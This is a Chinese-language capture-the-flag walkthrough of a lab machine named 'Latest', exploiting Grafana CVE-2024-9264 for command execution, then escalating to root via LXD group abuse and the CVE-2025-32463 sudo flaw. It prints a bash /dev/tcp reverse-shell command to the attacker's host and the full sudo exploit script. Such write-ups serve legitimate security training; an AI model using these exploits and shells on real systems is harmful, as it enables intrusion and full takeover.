这个靶机是car的处女作，我打打测试

一、信息收集

1.1. 主机发现

```
┌──(kali㉿kali)-[~]
└─$ sudo arp-scan -l
...
Interface: eth0, type: EN10MB, MAC: 00:0c:29:57:e5:45, IPv4: 192.168.205.128
...
192.168.205.199 08:00:27:e5:a4:da       (Unknown)
...
```

扫描结果显示，目标靶机的 IP 地址为 `192.168.205.199`。

1.2. 端口扫描与服务识别

这里拿nmap扫描一下就会爆炸，因为全部端口扫描都是开放的，据car所说是使用的portspoof，你有两个选择直接查看80端口（因为常见），或者看ipv6，我直接打了，不看ipv6

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ curl 192.168.205.199

    <html>
        <head><title>Latest</title></head>
        <body>
            <h1>Welcome to Latest</h1>
            <p>Have you tried port scanner?</p>
            <p>Don't use port scanner — solve this puzzle; the answer is what
you need.</p>
            <p>(((120 × 25) + (6000 ÷ 3) − (4500 ÷ 9)) × 2 − (200 × 5)) ÷ 2 −
1000</p>
            <p>There's nothing on this website — don't brute-force anything.</p>
            <!-- memo2: admin:SecurePassword123! -->`
        </body>
    </html>
```

一个算数加个用户和密码，算数最终等于3000，所以看3000端口

是一个Grafana，登录进去

凭证：admin:SecurePassword123!

二、获得立足点

2.1. 漏洞利用

进去之后就懒得扒拉了，因为我很少打Grafana，直接找cve，版本号是Grafana v11.0.0（右上角帮助有写）

扒拉到这个https://github.com/nollium/CVE-2024-9264

尝试利用

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ git clone https://github.com/nollium/CVE-2024-9264.git
正克隆到 'CVE-2024-9264'...
remote: Enumerating objects: 67, done.
remote: Counting objects: 100% (67/67), done.
remote: Compressing objects: 100% (56/56), done.
remote: Total 67 (delta 38), reused 21 (delta 9), pack-reused 0 (from 0)
接收对象中: 100% (67/67), 20.96 KiB | 1.31 MiB/s, 完成.
处理 delta 中: 100% (38/38), 完成.



┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ cd CVE-2024-9264



┌──(kali㉿kali)-[/mnt/hgfs/gx/x/CVE-2024-9264]
└─$ python3 CVE-2024-9264.py -u admin -p 'SecurePassword123!' -c 'bash -c "id'
http://192.168.205.199:3000
Traceback (most recent call last):
  File "/mnt/hgfs/gx/x/CVE-2024-9264/CVE-2024-9264.py", line 8, in <module>
    from ten import *
ModuleNotFoundError: No module named 'ten'



┌──(kali㉿kali)-[/mnt/hgfs/gx/x/CVE-2024-9264]
└─$ source ~/pythonvenv/bin/activate
```

这里记得下一下依赖，它有依赖文件，直接下载就好了，我就不下了，我下过了

2.2. 获取反向 Shell

```
┌──(pythonvenv)─(kali㉿kali)-[/mnt/hgfs/gx/x/CVE-2024-9264]
└─$ python3 CVE-2024-9264.py -u admin -p 'SecurePassword123!' -c 'id'
http://192.168.205.199:3000
[+] Logged in as admin:SecurePassword123!
[+] Executing command: id
[+] Successfully ran duckdb query:
[+] SELECT 1;install shellfs from community;LOAD shellfs;SELECT * FROM
read_csv('id >/tmp/grafana_cmd_output 2>&1 |'):
[+] Successfully ran duckdb query:
[+] SELECT content FROM read_blob('/tmp/grafana_cmd_output'):
uid=0(root) gid=0(root) groups=0(root)
```

一眼docker，结果短暂的测试，它有ban掉一下端口的外部连接，经过测试80是可以的

kali监听

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nc -lvnp 80
listening on [any] 80 ...
```

触发

```
┌──(pythonvenv)─(kali㉿kali)-[/mnt/hgfs/gx/x/CVE-2024-9264]
└─$ python3 CVE-2024-9264.py -u admin -p 'SecurePassword123!' -c 'bash -c
"/bin/bash -i >& /dev/tcp/192.168.205.128/80 0>&1"' http://192.168.205.199:3000
[+] Logged in as admin:SecurePassword123!
[+] Executing command: bash -c "/bin/bash -i >& /dev/tcp/192.168.205.128/80
0>&1"
⠸ Running duckdb query
```

回去看监听

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nc -lvnp 80
listening on [any] 80 ...
connect to [192.168.205.128] from (UNKNOWN) [192.168.205.199] 42424
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@fee84e0f7237:~# id
id
uid=0(root) gid=0(root) groups=0(root)
```

成功获得shell，这里想稳固的可以稳固一下，我就不稳固了

三、权限提升

3.1. 容器内信息搜集

```
root@fee84e0f7237:~# sudo -l
sudo -l
bash: sudo: command not found
root@fee84e0f7237:~# cd
cd
root@fee84e0f7237:~# ls -al
ls -al
total 68
drwxr-xr-x  1 root    root  4096 Sep 16 13:03 .
drwxr-xr-x  1 root    root  4096 May 14  2024 ..
drwxrwxrwx  2 grafana root  4096 May 14  2024 .aws
drwxr-xr-x  3 root    root  4096 Sep 16 13:03 .duckdb
-rw-r--r--  1 root    root 34523 May 14  2024 LICENSE
drwxr-xr-x  2 root    root  4096 May 14  2024 bin
drwxr-xr-x  3 root    root  4096 May 14  2024 conf
drwxr-xr-x 16 root    root  4096 May 14  2024 public
root@fee84e0f7237:~# cd .duckdb
cd .duckdb
root@fee84e0f7237:~/.duckdb# ls -al
ls -al
```

```
total 12
drwxr-xr-x 3 root root 4096 Sep 16 13:03 .
drwxr-xr-x 1 root root 4096 Sep 16 13:03 ..
drwxr-xr-x 3 root root 4096 Sep 16 13:03 extensions
root@fee84e0f7237:~/.duckdb# cd ex
cd extensions/
root@fee84e0f7237:~/.duckdb/extensions# ls -al
ls -al
total 12
drwxr-xr-x 3 root root 4096 Sep 16 13:03 .
drwxr-xr-x 3 root root 4096 Sep 16 13:03 ..
drwxr-xr-x 3 root root 4096 Sep 16 13:03 v1.1.2
root@fee84e0f7237:~/.duckdb/extensions# cd ..
cd ..
root@fee84e0f7237:~/.duckdb# cd ..
cd ..
root@fee84e0f7237:~# cd /opt
cd /opt
root@fee84e0f7237:/opt# ls -al
ls -al
total 12
drwxr-xr-x 1 root root 4096 Sep 15 15:50 .
drwxr-xr-x 1 root root 4096 Sep 15 15:45 ..
drwxr-xr-x 2 root root 4096 Sep 15 15:52 memos
root@fee84e0f7237:/opt# cd memos
cd memos
root@fee84e0f7237:/opt/memos# ls -al
ls -al
total 12
drwxr-xr-x 2 root root 4096 Sep 15 15:52 .
drwxr-xr-x 1 root root 4096 Sep 15 15:50 ..
-rw-r--r-- 1 root root   65 Sep 15 15:52 memo1.txt
root@fee84e0f7237:/opt/memos# cat memo1.txt
cat memo1.txt
TODO: Complete the migration work on vm2 ; (stewie:xX_573W13_Xx)
```

获得一组新的凭证 `stewie:xX_573W13_Xx`，测试登录ssh

3.2. 登录宿主机

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ ssh stewie@192.168.205.199
stewie@192.168.205.199's password:
Welcome to Ubuntu 24.04.3 LTS (GNU/Linux 6.8.0-79-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
stewie@latest:~$ id
```

```
uid=1000(stewie) gid=1000(stewie)
groups=1000(stewie),24(cdrom),30(dip),46(plugdev),101(lxd)
```

3.3. 提权方法一：LXD 提权 (非预期)

这里我就直接打lxd了（这是非预期，car忘记删了）

利用的仓库https://github.com/saghul/lxd-alpine-builder

教学博客https://www.cnblogs.com/jhinjax/p/17078938.html

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x/lxd-alpine-builder]
└─$ ls -al
总计 3255
drwxr-xr-x 1 kali kali       0  9月16日 08:34 .
drwxr-xr-x 1 kali kali   32768  9月16日 21:01 ..
-rwxr-xr-x 1 kali kali 3259593  9月16日 08:34 alpine-v3.13-x86_64-
20210218_0139.tar.gz
-rwxr-xr-x 1 kali kali    8064  9月16日 08:34 build-alpine
drwxr-xr-x 1 kali kali    4096  9月16日 08:34 .git
-rwxr-xr-x 1 kali kali   26530  9月16日 08:34 LICENSE
-rwxr-xr-x 1 kali kali     768  9月16日 08:34 README.md



┌──(kali㉿kali)-[/mnt/hgfs/gx/x/lxd-alpine-builder]
└─$ python3 -m http.server 80

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
```

这里需要上网环境，因为它LXD snap没安装，实在没有的，看下面的其他方法

```
stewie@latest:/tmp$ lxd init
#一路回车默认回车就行
stewie@latest:/tmp$ lxc image import alpine-v3.13-x86_64-20210218_0139.tar.gz --
alias  image_name
To start your first container, try: lxc launch ubuntu:24.04
Or for a virtual machine: lxc launch ubuntu:24.04 --vm

Image imported with fingerprint:
cd73881adaac667ca3529972c7b380af240a9e3b0973Of8c8e4e6a23e1a7892b
stewie@latest:/tmp$ lxc init image_name ignite -c security.privileged=true
Creating ignite
stewie@latest:/tmp$ lxc config device add ignite mydevice disk source=/
path=/mnt/root recursive=true
Device mydevice added to ignite
stewie@latest:/tmp$ lxc start ignite
stewie@latest:/tmp$ lxc exec ignite /bin/sh
~ # cd /mnt/
/mnt # cd root/
/mnt/root # cat root/root.txt home/stewie/user.txt
root{Keep-your-system-up-to-date}

Expected solution:
CVE-2024-9264
```

```
CVE-2025-32463

:P
user{WARNING_Rabbit_Hole}
```

3.4. 提权方法二：Sudo 版本漏洞(预期解)

它sudo有问题

```
stewie@latest:/tmp$ sudo -V
Sudo version 1.9.16p2
Sudoers policy plugin version 1.9.16p2
Sudoers file grammar version 50
Sudoers I/O plugin version 1.9.16p2
Sudoers audit plugin version 1.9.16p2
```

利用仓库:https://github.com/pr0v3rbs/CVE-2025-32463_chwoot

```
stewie@latest:/tmp$ vim a.sh
stewie@latest:/tmp$ cat a.sh
#!/bin/bash
# sudo-chwoot.sh
# CVE-2025-32463 - Sudo EoP Exploit PoC by Rich Mirch
#                  @ Stratascale Cyber Research Unit (CRU)
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1

if [ $# -eq 0 ]; then
    # If no command is provided, default to an interactive root shell.
    CMD="/bin/bash"
else
    # Otherwise, use the provided arguments as the command to execute.
    CMD="$@"
fi

# Escape the command to safely include it in a C string literal.
# This handles backslashes and double quotes.
CMD_C_ESCAPED=$(printf '%s' "$CMD" | sed -e 's/\\/\\\\/g' -e 's/"/\\"/g')

cat > woot1337.c<<EOF
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void woot(void) {
  setreuid(0,0);
  setregid(0,0);
  chdir("/");
  execl("/bin/sh", "sh", "-c", "${CMD_C_ESCAPED}", NULL);
}
EOF

mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
```

```
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

echo "woot!"
sudo -R woot woot
rm -rf ${STAGE?}
stewie@latest:/tmp$ bash a.sh
woot!
root@latest:/# id
uid=0(root) gid=0(root)
groups=0(root),24(cdrom),30(dip),46(plugdev),101(lxd),1000(stewie)
```